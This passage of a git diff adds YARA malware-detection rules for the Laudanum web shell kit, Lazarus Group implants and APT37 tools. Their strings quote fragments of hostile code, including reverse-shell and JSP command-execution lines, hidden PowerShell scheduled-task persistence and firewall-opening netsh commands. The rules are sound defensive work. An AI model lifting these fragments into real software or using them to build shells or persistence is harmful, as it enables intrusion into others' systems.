+		$s4 = "<body onload=\"document.shell.c.focus()\">" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 20KB and all of them
+}
+
+rule php_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
+		id = "8d3dcb16-090b-5a9f-b3d2-3822ec467f69"
+	strings:
+		$s1 = "command_hist[current_line] = document.shell.command.value;" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "if (e.keyCode == 38 && current_line < command_hist.length-1) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "array_unshift($_SESSION['history'], $command);" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $command)) {" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 40KB and all of them
+}
+
+rule php_reverse_shell {
+	meta:
+		description = "Laudanum Injector Tools - file php-reverse-shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "3ef03bbe3649535a03315dcfc1a1208a09cea49d"
+		id = "306d150f-95a8-57fd-8f5e-786c429af6b3"
+	strings:
+		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "printit(\"Successfully opened reverse shell to $ip:$port\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "$input = fread($pipes[1], $chunk_size);" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 15KB and all of them
+}
+
+rule php_dns {
+	meta:
+		description = "Laudanum Injector Tools - file dns.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
+		id = "a52e453b-07aa-58b9-91e7-f2426a8e8976"
+	strings:
+		$s1 = "$query = isset($_POST['query']) ? $_POST['query'] : '';" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$result = dns_get_record($query, $types[$type], $authns, $addtl);" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "foreach (array_keys($types) as $t) {" fullword ascii
+	condition:
+		filesize < 15KB and all of them
+}
+
+rule WEB_INF_web {
+	meta:
+		description = "Laudanum Injector Tools - file web.xml"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "0251baed0a16c451f9d67dddce04a45dc26cb4a3"
+		id = "8d0a008c-56d1-59ef-8521-0697add21ba9"
+	strings:
+		$s1 = "<servlet-name>Command</servlet-name>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<jsp-file>/cmd.jsp</jsp-file>" fullword ascii
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule jsp_cmd {
+	meta:
+		description = "Laudanum Injector Tools - file cmd.war"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "55e4c3dc00cfab7ac16e7cfb53c11b0c01c16d3d"
+		id = "74db62b8-82d5-5a34-aa72-2f85053715a4"
+	strings:
+		$s0 = "cmd.jsp}" fullword ascii
+		$s1 = "cmd.jspPK" fullword ascii
+		$s2 = "WEB-INF/web.xml" fullword ascii /* Goodware String - occured 1 times */
+		$s3 = "WEB-INF/web.xmlPK" fullword ascii /* Goodware String - occured 1 times */
+		$s4 = "META-INF/MANIFEST.MF" fullword ascii /* Goodware String - occured 12 times */
+	condition:
+		uint16(0) == 0x4b50 and filesize < 2KB and all of them
+}
+
+rule laudanum {
+	meta:
+		description = "Laudanum Injector Tools - file laudanum.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
+		id = "8c836aba-3644-5914-a3ff-937d0a6cd378"
+	strings:
+		$s1 = "public function __activate()" fullword ascii
+		$s2 = "register_activation_hook(__FILE__, array('WP_Laudanum', 'activate'));" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 5KB and all of them
+}
+
+rule php_file {
+	meta:
+		description = "Laudanum Injector Tools - file file.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "7421d33e8007c92c8642a36cba7351c7f95a4335"
+		id = "68456891-6828-5e42-b8a0-67ecaf83cdc0"
+	strings:
+		$s1 = "$allowedIPs =" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<a href=\"<?php echo $_SERVER['PHP_SELF']  ?>\">Home</a><br/>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "$dir  = isset($_GET[\"dir\"])  ? $_GET[\"dir\"]  : \".\";" fullword ascii
+		$s4 = "$curdir .= substr($curdir, -1) != \"/\" ? \"/\" : \"\";" fullword ascii
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule warfiles_cmd {
+	meta:
+		description = "Laudanum Injector Tools - file cmd.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "3ae3d837e7b362de738cf7fad78eded0dccf601f"
+		id = "f974255b-cfbe-57b0-af1f-eddb7f12f5ed"
+	strings:
+		$s1 = "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">" fullword ascii
+		$s4 = "String disr = dis.readLine();" fullword ascii
+	condition:
+		filesize < 2KB and all of them
+}
+
+rule asp_dns {
+	meta:
+		description = "Laudanum Injector Tools - file dns.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "5532154dd67800d33dace01103e9b2c4f3d01d51"
+		id = "b0e30ca0-7163-5731-98c5-5a1893b8ea80"
+	strings:
+		$s1 = "command = \"nslookup -type=\" & qtype & \" \" & query " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Set objCmd = objWShell.Exec(command)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Response.Write command & \"<br>\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<form name=\"dns\" method=\"POST\">" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 21KB and all of them
+}
+
+rule php_reverse_shell_2 {
+	meta:
+		description = "Laudanum Injector Tools - file php-reverse-shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "025db3c3473413064f0606d93d155c7eb5049c42"
+		id = "f10cc33e-0cb6-5d08-af1f-5ef76368de9d"
+	strings:
+		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii /* PEStudio Blacklist: strings */
+		$s7 = "$shell = 'uname -a; w; id; /bin/sh -i';" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule Laudanum_Tools_Generic {
+	meta:
+		description = "Laudanum Injector Tools"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		super_rule = 1
+		hash0 = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
+		hash1 = "885e1783b07c73e7d47d3283be303c9719419b92"
+		hash2 = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
+		hash3 = "7421d33e8007c92c8642a36cba7351c7f95a4335"
+		hash4 = "f49291aef9165ee4904d2d8c3cf5a6515ca0794f"
+		hash5 = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
+		hash6 = "f32b9c2cc3a61fa326e9caebce28ef94a7a00c9a"
+		hash7 = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
+		hash8 = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
+		hash9 = "b50ae35fcf767466f6ca25984cc008b7629676b8"
+		hash10 = "5570d10244d90ef53b74e2ac287fc657e38200f0"
+		hash11 = "42bcb491a11b4703c125daf1747cf2a40a1b36f3"
+		hash12 = "83e4eaaa2cf6898d7f83ab80158b64b1d48096f4"
+		hash13 = "dec7ea322898690a7f91db9377f035ad7072b8d7"
+		hash14 = "a2272b8a4221c6cc373915f0cc555fe55d65ac4d"
+		hash15 = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
+		hash16 = "43320dc23fb2ed26b882512e7c0bfdc64e2c1849"
+		id = "15738788-5f34-54d0-92fe-f7024c998a54"
+	strings:
+		$s1 = "***  laudanum@secureideas.net" fullword ascii
+		$s2 = "*** Laudanum Project" fullword ascii
+	condition:
+		filesize < 60KB and all of them
+}
diff --git a/yara-Neo23x0/apt_lazarus_applejeus.yar b/yara-Neo23x0/apt_lazarus_applejeus.yar
new file mode 100644
index 0000000..56ea2e6
--- /dev/null
+++ b/yara-Neo23x0/apt_lazarus_applejeus.yar
@@ -0,0 +1,100 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-08-24
+   Identifier: Lazarus - Operation Applejeus
+   Reference: https://securelist.com/operation-applejeus/87553/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT_Lazarus_Aug18_Downloader_1 {
+   meta:
+      description = "Detects Lazarus Group Malware Downloadery"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/operation-applejeus/87553/"
+      date = "2018-08-24"
+      hash1 = "d555dcb6da4a6b87e256ef75c0150780b8a343c4a1e09935b0647f01d974d94d"
+      hash2 = "bdff852398f174e9eef1db1c2d3fefdda25fe0ea90a40a2e06e51b5c0ebd69eb"
+      hash3 = "e2199fc4e4b31f7e4c61f6d9038577633ed6ad787718ed7c39b36f316f38befd"
+      id = "f536db7b-b645-522f-b750-6431878d2e31"
+   strings:
+      $x1 = "H:\\DEV\\TManager\\" ascii
+      $x2 = "\\Release\\dloader.pdb" ascii
+      $x3 = "Z:\\jeus\\"
+      $x4 = "\\Debug\\dloader.pdb" ascii
+      $x5 = "Moz&Wie;#t/6T!2yW29ab@ad%Df324V$Yd" fullword ascii
+
+      $s1 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" fullword ascii
+      $s2 = "Error protecting memory page" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         ( 1 of ($x*) or 2 of them )
+      )
+}
+
+rule APT_Lazarus_Aug18_1 {
+   meta:
+      description = "Detects Lazarus Group Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/operation-applejeus/87553/"
+      date = "2018-08-24"
+      hash1 = "ef400d73c6920ac811af401259e376458b498eb0084631386136747dfc3dcfa8"
+      hash2 = "1b8d3e69fc214cb7a08bef3c00124717f4b4d7fd6be65f2829e9fd337fc7c03c"
+      id = "fda4970a-2787-5e9c-9944-a6222145f4a7"
+   strings:
+      $s1 = "mws2_32.dll" fullword wide
+      $s2 = "%s.bat" fullword wide
+      $s3 = "%s%s%s \"%s > %s 2>&1\"" fullword wide
+      $s4 = "Microsoft Corporation. All rights reserved." fullword wide
+      $s5 = "ping 127.0.0.1 -n 3" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         pe.imphash() == "3af996e4f960108533e69b9033503f40" or
+         4 of them
+      )
+}
+
+rule APT_Lazarus_Aug18_2 {
+   meta:
+      description = "Detects Lazarus Group Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/operation-applejeus/87553/"
+      date = "2018-08-24"
+      hash1 = "8ae766795cda6336fd5cad9e89199ea2a1939a35e03eb0e54c503b1029d870c4"
+      hash2 = "d3ef262bae0beb5d35841d131b3f89a9b71a941a86dab1913bda72b935744d2e"
+      id = "3c77d603-6443-5e78-8a8a-a89112619aa6"
+   strings:
+      $s1 = "vAdvapi32.dll" fullword wide
+      $s2 = "lws2_32.dll" fullword wide
+      $s3 = "%s %s > \"%s\" 2>&1" fullword wide
+      $s4 = "Not Service" fullword wide
+      $s5 = "ping 127.0.0.1 -n 3" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+         4 of them
+      )
+}
+
+rule APT_FallChill_RC4_Keys {
+   meta:
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      description = "Detects FallChill RC4 keys"
+      reference = "https://securelist.com/operation-applejeus/87553/"
+      date = "2018-08-21"
+      id = "ead7d84c-91aa-58b0-af3b-1211b0bde864"
+   strings:
+      /* MOV POS 4BYTE-OF-KEY */
+      $cod0 = { c7 ?? ?? da e1 61 ff
+                c7 ?? ?? 0c 27 95 87
+                c7 ?? ?? 17 57 a4 d6
+                c7 ?? ?? ea e3 82 2b }
+   condition:
+      uint16(0) == 0x5a4d and 1 of them
+}
diff --git a/yara-Neo23x0/apt_lazarus_aug20.yar b/yara-Neo23x0/apt_lazarus_aug20.yar
new file mode 100644
index 0000000..97105ab
--- /dev/null
+++ b/yara-Neo23x0/apt_lazarus_aug20.yar
@@ -0,0 +1,42 @@
+
+rule APT_NK_Lazarus_RC4_Loop {
+   meta: 
+      author = "f-secure "
+      description = "Detects RC4 loop in Lazarus Group implant" 
+      date = "2020-06-10"
+      reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
+      id = "a9503795-b4b8-505e-a1bf-df64ec8c1c32"
+   strings:
+      $str_rc4_loop = { 41 FE 8? 00 01 00 00 45 0F B6 ?? 00 01 00 00 48 
+                        FF C? 43 0F B6 0? ?? 41 00 8? 01 01 00 00 41 0F 
+                        B6 ?? 01 01 00 00 }
+   condition:
+      int16(0) == 0x5a4d and filesize < 3000KB and $str_rc4_loop
+}
+
+rule APT_NK_Lazarus_Network_Backdoor_Unpacked {
+   meta:
+      author = "f-secure"
+      description = "Detects unpacked variant of Lazarus Group network backdoor" 
+      date = "2020-06-10"      
+      reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
+      id = "8eda9e74-1a19-5510-82d8-cd2eb324629c"
+   strings:
+      $str_netsh_1 = "netsh firewall add portopening TCP %d" ascii wide nocase 
+      $str_netsh_2 = "netsh firewall delete portopening TCP %d" ascii wide nocase 
+      $str_mask_1 = "cmd.exe /c \"%s >> %s 2>&1\"" ascii wide
+      $str_mask_2 = "cmd.exe /c \"%s 2>> %s\"" ascii wide 
+      $str_mask_3 = "%s\\%s\\%s" ascii wide
+      $str_other_1 = "perflog.dat" ascii wide nocase 
+      $str_other_2 = "perflog.evt" ascii wide nocase 
+      $str_other_3 = "cbstc.log" ascii wide nocase 
+      $str_other_4 = "LdrGetProcedureAddress" ascii 
+      $str_other_5 = "NtProtectVirtualMemory" ascii
+   condition:
+      int16(0) == 0x5a4d
+      and filesize < 3000KB
+      and 1 of ($str_netsh*)
+      and 1 of ($str_mask*)
+      and 1 of ($str_other*)
+}
+
diff --git a/yara-Neo23x0/apt_lazarus_dec17.yar b/yara-Neo23x0/apt_lazarus_dec17.yar
new file mode 100644
index 0000000..b91bc5d
--- /dev/null
+++ b/yara-Neo23x0/apt_lazarus_dec17.yar
@@ -0,0 +1,89 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-12-20
+   Identifier: Lazarus malware
+   Reference: https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Lazarus_Dec_17_1 {
+   meta:
+      description = "Detects Lazarus malware from incident in Dec 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8U6fY2"
+      date = "2017-12-20"
+      hash1 = "d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48"
+      id = "f195ebf0-d7af-58e8-a544-769a0c8b628b"
+   strings:
+      $s1 = "::DataSpace/Storage/MSCompressed/Transform/" ascii
+      $s2 = "HHA Version 4." ascii
+      $s3 = { 74 45 58 74 53 6F 66 74 77 61 72 65 00 41 64 6F
+              62 65 20 49 6D 61 67 65 52 65 61 64 79 71 }
+      $s4 = "bUEeYE" fullword ascii
+   condition:
+      uint16(0) == 0x5449 and filesize < 4000KB and all of them
+}
+
+rule Lazarus_Dec_17_2 {
+   meta:
+      description = "Detects Lazarus malware from incident in Dec 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8U6fY2"
+      date = "2017-12-20"
+      hash1 = "cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411"
+      hash2 = "9ca3e56dcb2d1b92e88a0d09d8cab2207ee6d1f55bada744ef81e8b8cf155453"
+      id = "45127fb5-0f70-5140-acd9-46147d365dfe"
+   strings:
+      $s1 = "SkypeSetup.exe" fullword wide
+      $s2 = "%s\\SkypeSetup.exe" fullword ascii
+      $s3 = "Skype Technologies S.A." fullword wide
+
+      $a1 = "Microsoft Code Signing PCA" ascii wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 7000KB and (
+        all of ($s*) and not $a1
+      )
+}
+
+rule Lazarus_Dec_17_4 {
+   meta:
+      description = "Detects Lazarus malware from incident in Dec 2017ithumb.js"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8U6fY2"
+      date = "2017-12-20"
+      hash1 = "8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3"
+      hash2 = "7975c09dd436fededd38acee9769ad367bfe07c769770bd152f33a10ed36529e"
+      id = "fbdc6287-c177-53b5-83dd-979936f65192"
+   strings:
+      $s1 = "var _0xf5ed=[\"\\x57\\x53\\x63\\x72\\x69\\x70\\x74\\x2E\\x53\\x68\\x65\\x6C\\x6C\"," ascii
+   condition:
+      filesize < 9KB and 1 of them
+}
+
+rule Lazarus_Dec_17_5 {
+   meta:
+      description = "Detects Lazarus malware from incident in Dec 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/8U6fY2"
+      date = "2017-12-20"
+      hash1 = "db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471"
+      id = "33bd8c08-123e-5a8e-b5dc-02af7291addc"
+   strings:
+      $x1 = "$ProID = Start-Process powershell.exe -PassThru -WindowStyle Hidden -ArgumentList" fullword ascii
+      $x2 = "$respTxt = HttpRequestFunc_doprocess -szURI $szFullURL -szMethod $szMethod -contentData $contentData;" fullword ascii
+      $x3 = "[String]$PS_PATH = \"C:\\\\Users\\\\Public\\\\Documents\\\\ProxyAutoUpdate.ps1\";" fullword ascii
+      $x4 = "$cmdSchedule = 'schtasks /create /tn \"ProxyServerUpdater\"" ascii
+      $x5 = "/tr \"powershell.exe -ep bypass -windowstyle hidden -file " ascii
+      $x6 = "C:\\\\Users\\\\Public\\\\Documents\\\\tmp' + -join " ascii
+      $x7 = "$cmdResult = cmd.exe /c $cmdInst | Out-String;" fullword ascii
+      $x8 = "whoami /groups | findstr /c:\"S-1-5-32-544\"" fullword ascii
+   condition:
+      filesize < 500KB and 1 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_lazarus_dec20.yar b/yara-Neo23x0/apt_lazarus_dec20.yar
new file mode 100644
index 0000000..c4aa6ab
--- /dev/null
+++ b/yara-Neo23x0/apt_lazarus_dec20.yar
@@ -0,0 +1,218 @@
+import "pe"
+rule HvS_APT37_smb_scanner {
+   meta:
+      description = "Unknown smb login scanner used by APT37"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Marc Stroebel"
+      date = "2020-12-15"
+      reference1 = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+      reference2 = "https://www.hybrid-analysis.com/sample/d16163526242508d6961f061aaffe3ae5321bd64d8ceb6b2788f1570757595fc?environmentId=2"
+      id = "89a5cc32-f151-583d-823d-692de2c2b084"
+   strings:
+      $s1 = "Scan.exe StartIP EndIP ThreadCount logfilePath [Username Password Deep]" fullword ascii
+      $s2 = "%s - %s:(Username - %s / Password - %s" fullword ascii
+      $s3 = "Load mpr.dll Error " fullword ascii
+      $s4 = "Load Netapi32.dll Error " fullword ascii
+      $s5 = "%s U/P not Correct! - %d" fullword ascii
+      $s6 = "GetNetWorkInfo Version 1.0" fullword wide
+      $s7 = "Hello World!" fullword wide
+      $s8 = "%s Error: %ld" fullword ascii
+      $s9 = "%s U/P Correct!" fullword ascii
+      $s10 = "%s --------" fullword ascii
+      $s11 = "%s%-30s%I64d" fullword ascii
+      $s12 = "%s%-30s(DIR)" fullword ascii
+      $s13 = "%04d-%02d-%02d %02d:%02d" fullword ascii
+      $s14 = "Share:              Local Path:                   Uses:   Descriptor:" fullword ascii
+      $s15 = "Share:              Type:                   Remark:" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (10 of them)
+}
+
+rule HvS_APT37_cred_tool {
+   meta:
+      description = "Unknown cred tool used by APT37"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Markus Poelloth"
+      date = "2020-12-15"
+      reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+      id = "e830025a-f2ac-55b1-aca3-ded9dba83a67"
+   strings:
+      $s1 = "        <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>" fullword ascii
+      $s2 = "Domain Login" fullword ascii
+      $s3 = "IEShims_GetOriginatingThreadContext" fullword ascii
+      $s4 = " Type Descriptor'" fullword ascii
+      $s5 = "User: %s" fullword ascii
+      $s6 = "Pass: %s" fullword ascii
+      $s7 = "  <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">" fullword ascii
+      $s8 = "E@c:\\u" fullword ascii
+   condition:
+      filesize < 500KB and 7 of them
+}
+
+rule HvS_APT37_RAT_loader {
+   meta:
+      description = "BLINDINGCAN RAT loader named iconcash.db used by APT37"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Marc Stroebel"
+      date = "2020-12-15"
+      hash = "b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9"
+      reference1 = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+      reference2 = "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"
+      id = "6c3e8465-d607-59bf-85fc-5abbef71fb1c"
+   condition:
+      (pe.version_info["OriginalFilename"] contains "MFC_DLL.dll") and
+      (pe.exports("SMain") and pe.exports("SMainW") )
+}
+
+
+rule HvS_APT37_webshell_img_thumbs_asp {
+   meta:
+      description = "Webshell named img.asp, thumbs.asp or thumb.asp used by APT37"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Moritz Oettle"
+      date = "2020-12-15"
+      reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+      hash = "94d2448d3794ae3f29678a7337473d259b5cfd1c7f703fe53ee6c84dd10a48ef"
+      id = "e45d4507-81de-5f72-9ce2-4f0e3e5c62b1"
+   strings:
+      $s1 = "strMsg = \"E : F\"" fullword ascii
+      $s2 = "strMsg = \"S : \" & Len(fileData)" fullword ascii
+      $s3 = "Left(workDir, InStrRev(workDir, \"/\")) & \"video\""
+
+      $a1 = "Server.CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+      $a2 = "Dim tmpPath, workDir" fullword ascii
+      $a3 = "Dim objFSO, objTextStream" fullword ascii
+      $a4 = "workDir = Request.ServerVariables(\"URL\")" fullword ascii
+      $a5 = "InStrRev(workDir, \"/\")" ascii
+
+      $g1 = "WriteFile = 0" fullword ascii
+      $g2 = "fileData = Request.Form(\"fp\")" fullword ascii
+      $g3 = "fileName = Request.Form(\"fr\")" fullword ascii
+      $g4 = "Err.Clear()" fullword ascii
+      $g5 = "Option Explicit" fullword ascii
+   condition:
+      filesize < 2KB and (( 1 of ($s*) ) or (3 of ($a*)) or (5 of ($g*)))
+}
+
+rule HvS_APT37_webshell_template_query_asp {
+   meta:
+      description = "Webshell named template-query.aspimg.asp used by APT37"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Moritz Oettle"
+      date = "2020-12-15"
+      reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+      hash = "961a66d01c86fa5982e0538215b17fb9fae2991331dfea812b8c031e2ceb0d90"
+      id = "dc006b46-4c51-59cd-8b7d-adbfec86cd2e"
+   strings:
+      $g1 = "server.scripttimeout=600" fullword ascii
+      $g2 = "response.buffer=true" fullword ascii
+      $g3 = "response.expires=-1" fullword ascii
+      $g4 = "session.timeout=600" fullword ascii
+
+      $a1 = "redhat hacker" ascii
+      $a2 = "want_pre.asp" ascii
+      $a3 = "vgo=\"admin\"" ascii
+      $a4 = "ywc=false" ascii
+
+      $s1 = "public  br,ygv,gbc,ydo,yka,wzd,sod,vmd" fullword ascii
+   condition:
+      filesize > 70KB and filesize < 200KB and (( 1 of ($s*) ) or (2 of ($a*)) or (3 of ($g*)))
+}
+
+/* Possibly prone to FPs
+rule HvS_APT37_mimikatz_loader_DF012 {
+   meta:
+      description = "Loader for encrypted Mimikatz variant used by APT37"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Marc Stroebel"
+      date = "2020-12-15"
+      reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+      hash = "42e4a9aeff3744bbbc0e82fd5b93eb9b078460d8f40e0b61b27b699882f521be"
+   strings:
+      $s1 = ".?AVCEncryption@@" fullword ascii
+      $s2 = "afrfa"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and 
+      (pe.imphash() == "fa0b87c7e07d21001355caf7b5027219") and (all of them)
+}
+*/
+
+rule HvS_APT37_webshell_controllers_asp {
+   meta:
+      description = "Webshell named controllers.asp or inc-basket-offer.asp used by APT37"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Moritz Oettle"
+      date = "2020-12-15"
+      reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+      hash = "829462fc6d84aae04a962dfc919d0a392265fbf255eab399980d2b021e385517"
+      id = "82370415-30f4-514d-8806-e2daced96f07"
+   strings:
+      $s0 = "<%@Language=VBScript.Encode" ascii
+// Case permutations of the word SeRvEr encoded with the Microsoft Script Encoder followed by .scriptrimeOut
+      $x1 = { 64 7F 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x2 = { 64 7F 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x3 = { 64 7F 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x4 = { 64 7F 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x5 = { 64 7F 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x6 = { 64 7F 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+      $x7 = { 64 7F 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
